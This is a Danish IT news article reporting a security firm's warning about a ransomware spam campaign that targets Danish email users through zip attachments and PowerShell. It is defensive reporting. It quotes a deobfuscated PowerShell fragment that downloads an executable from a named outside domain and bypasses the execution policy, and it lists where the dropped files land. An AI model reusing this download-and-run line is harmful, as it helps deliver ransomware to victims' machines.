Modtager du en mail, der ligner ovenstående billede, bør du slette beskeden med det samme. Skærmdump: CSIS Security Group.

Sikkerhedsfirma advarer: Målrettet ransomware-kampagne skyller ind over Danmark

En spambølge målrettet danske mail-modtager skyller ind over landet med filer, der kan hente ransomware på modtagerens computer. Læs her, hvad du skal passe på.

Det danske sikkerhedsselskab CSIS Security Group har flere timer torsdag i denne uge registreret en vedvarende, massiv spambølge rettet specifikt mod danske e-mailadresser.

Spambølgen kommer med et vedhæftet zip-arkiv, der kan gøre stor skade på modtagerens computer.

Skaden sker, hvis mail-modtageren åbner og aktiverer det vedhæftede zip-arkiv, der via Windows' PowerShell-framework vil hente ransomware iTorrentlocker-klassen, oplyser CSIS Security Group.

Sikkerhedsselskabet forklarer, at ransomwaren hentes fra to specifikke domæner, hvorfra der sendes inficeret JavaScript.

"Powershell koden ser ud som følgende i deobfuskeret form: DownloadFile(''http://nathanaylett.com/syst.vcx'',$path) Set-ExecutionPolicy Bypass -Scope Process; $path=($env:t+$mqedu+yzahe.exe'')." skriver CSIS Security Group i sin sikkerhedsadvarsel.

Sådan forløber angrebet
I CSIS Security Groups interne mail-beskyttelsesprogram er sikkerhedsniveauet hævet til 4 på en skala, hvor 5 er det højeste.

Sikkerhedsselskabet forklarer, at hvis ransomwaren får adgang til mail-modtagerens computer, vil koden kopiere sig på følgende lokationer:

C:\Users\[%brugerkonto%]\AppData\Local\Temp\985611.jse
C:\Users\[%brugerkonto%]\AppData\Local\Temp\ysyne.exe

"Den pågældende ransomware vil dernæst i vanlig stil begynde at kryptere data lokalt og på alle tilgængelige netværksdrev," lyder advarslen.

Derfor bør alle være ekstra opmærksomme, når de modtager mails med vedhæftede filer, obskure links og beskeder fra ukendte adresser.

Læs også:
Ransomware as a service boomer: Så nemt kan menigmand angribe dig med ransomware

Alvorlig afsløring: Halvdelen af alle ransomware-ofre ender med at betale løsepenge


Ytringer på debatten er afsenders eget ansvar - læs debatreglerne
Indlæser debat...


Brancheguiden
Brancheguide logo
Opdateres dagligt:
Den største og
mest komplette
oversigt
over danske
it-virksomheder
Hvad kan de? Hvor store er de? Hvor bor de?
Fiftytwo A/S
Udvikling og salg af software til integration, kommunikation og e-handel samt ERP med fokus på leasing, detailhandlen, digitale abonnementer og dagblade/magasiner.

Nøgletal og mere info om virksomheden
Skal din virksomhed med i Guiden? Klik her

Kommende events
The New World of Data

Få styr på de nye muligheder og de nyeste tendenser inden for næste generations IT-infrastruktur. Bliv inspireret af de ledende teknologiaktører og hør hvordan TopDanmark og Rambøll har draget fordel af de nye muligheder både i relation til de tekniske og økonomiske aspekter samt en optimeret brugeroplevelse.

25. september 2018 | Læs mere


Kunstig intelligens: Bring din virksomhed ind i fremtiden

På denne konference ser vi nærmere på gode, bæredygtige business cases med kunstig intelligens. Vi zoomer ind på de konkrete teknologier, og eksperterne giver dig gode råd til, hvordan man kan arbejde innovativt og agilt med kunstig intelligens-løsninger.

26. september 2018 | Læs mere


Corporate Performance Management - sådan omsætter du strategiske beslutninger til operationelle planer

Den digitale transformation er i gang de danske finans- og økonomiafdelinger. Corporate Performance Management (CPM) er en fællesbetegnelse for de softwareløsninger, der er med til at håndtere og visualisere virksomhedens performance og målopfyldelse. Men hvilke løsninger skal du vælge og hvordan kommer du i gang?

27. september 2018 | Læs mere






Premium
Globalconnect skifter navn efter fusion: Skal have ny identitet til nytår
Interview: Globalnet? Eller BroadConnect? GlobalConnect og og Broadnet har fusioneret, og det betyder, at det nye selskab skifter navn. Virksomheden skal også beslutte, om hovedkvarteret skal ligge i København eller Oslo.
CIO
Machine learning og kunstig intelligens med Jesper Steen Møller "Der er rigtigt meget teknik som for nogen ser nærmest magisk ud"
Tech fra Toppen: Hvornår det giver mening at bruge machine learning - og hvordan du kommer bedst muligt i gang? Få svaret i den seneste udgave af Computerworlds podcast "Tech fra toppen" med datalog Jesper Steen Møller.
Job & Karriere
Her er syv job-annoncer der overrasker med helt usædvanlige overskrifter
Der er mange ledige it-job i øjeblikket. It-jobbank har her fundet syv spændende stillinger, der har det til fælles, at annoncen har en utraditionel overskrift.
White paper
Undersøgelse: En mistet pc koster i gennemsnit virksomheder mellem 200.000 og 300.000 kr.
Datasikkerhed handler ikke blot om hackere, som forvolder stor skade fra deres skjulesteder rundt omkring i verden. Det handler i lige så høj grad om sløseri eller kriminalitet fra organisationens egne medarbejdere. Det lyder umiddelbart tilforladeligt, men når en medarbejder mister sin pc eller smartphone, er konsekvenserne til at tage og føle på. En mistet pc koster mellem 200.000 og 300.000, og der stjæles ca. 36.000 pc’er om året i Danmark. I dette whitepaper kan du læse om hvordan du sikrer dig imod at dette sker i din virksomhed.